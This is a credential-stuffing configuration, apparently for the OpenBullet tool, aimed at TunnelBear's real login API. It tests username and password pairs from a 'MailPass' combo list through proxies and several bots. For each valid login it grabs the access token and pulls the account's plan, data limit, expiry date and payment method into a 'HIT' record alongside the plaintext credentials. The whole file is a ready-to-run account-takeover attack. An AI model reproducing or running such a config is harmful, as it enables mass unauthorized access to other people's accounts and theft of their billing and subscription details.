[SETTINGS]
{
  "Name": "TunnelBear_Full_KarlSh",
  "SuggestedBots": 10,
  "LastModified": "2026-01-02T13:00:00Z",
  "Author": "KarlSh",
  "Version": "1.1.3",
  "AllowedWordlist1": "MailPass",
  "NeedsProxies": true
}

[SCRIPT]
#LOGIN REQUEST POST "https://prod-api-dashboard.tunnelbear.com/dashboard/web/v2/token" 
  CONTENT "{\"username\":\"<USER>\",\"password\":\"<PASS>\",\"grant_type\":\"password\",\"device\":\"browser-81f98f9e-d9d6-426a-9aab-087b9a475bd5\"}" 
  CONTENTTYPE "application/json" 
  HEADER "authority: prod-api-dashboard.tunnelbear.com" 
  HEADER "accept: application/json, text/plain, */*" 
  HEADER "origin: https://www.tunnelbear.com" 
  HEADER "referer: https://www.tunnelbear.com/" 
  HEADER "user-agent: Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Mobile Safari/537.36" 

#CHECK KEYCHECK 
  KEYCHAIN Success OR 
    KEY "access_token" 
  KEYCHAIN Failure OR 
    KEY "invalid_credentials" 
    KEY "error" 

#TOKEN PARSE "<SOURCE>" LR "access_token\":\"" "\"" -> VAR "TOKEN" 

#GET_USER REQUEST GET "https://prod-api-dashboard.tunnelbear.com/dashboard/web/v2/userdetails" 
  HEADER "Authorization: Bearer <TOKEN>" 
  HEADER "user-agent: Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Mobile Safari/537.36" 

#CAP_PLAN PARSE "<SOURCE>" LR "p_type\":\"" "\"" -> CAP "Plan" 

#CAP_DATA PARSE "<SOURCE>" LR "data_limit\":" "," -> CAP "Gigas Totales" 

#CAP_RENEW PARSE "<SOURCE>" LR "expiry_date\":\"" "T" -> CAP "Vencimiento" 

#CAP_BILLING PARSE "<SOURCE>" LR "payment_method\":\"" "\"" -> CAP "Metodo Pago" 

#OUTPUT FUNCTION Constant "=== TUNNELBEAR HIT ===\n👤 User: <USER>\n🔑 Pass: <PASS>\n🐻 Plan: <Plan>\n📊 Datos: <Gigas Totales>\n📅 Expira: <Vencimiento>\n💳 Pago: <Metodo Pago>" -> CAP "Resultado Final"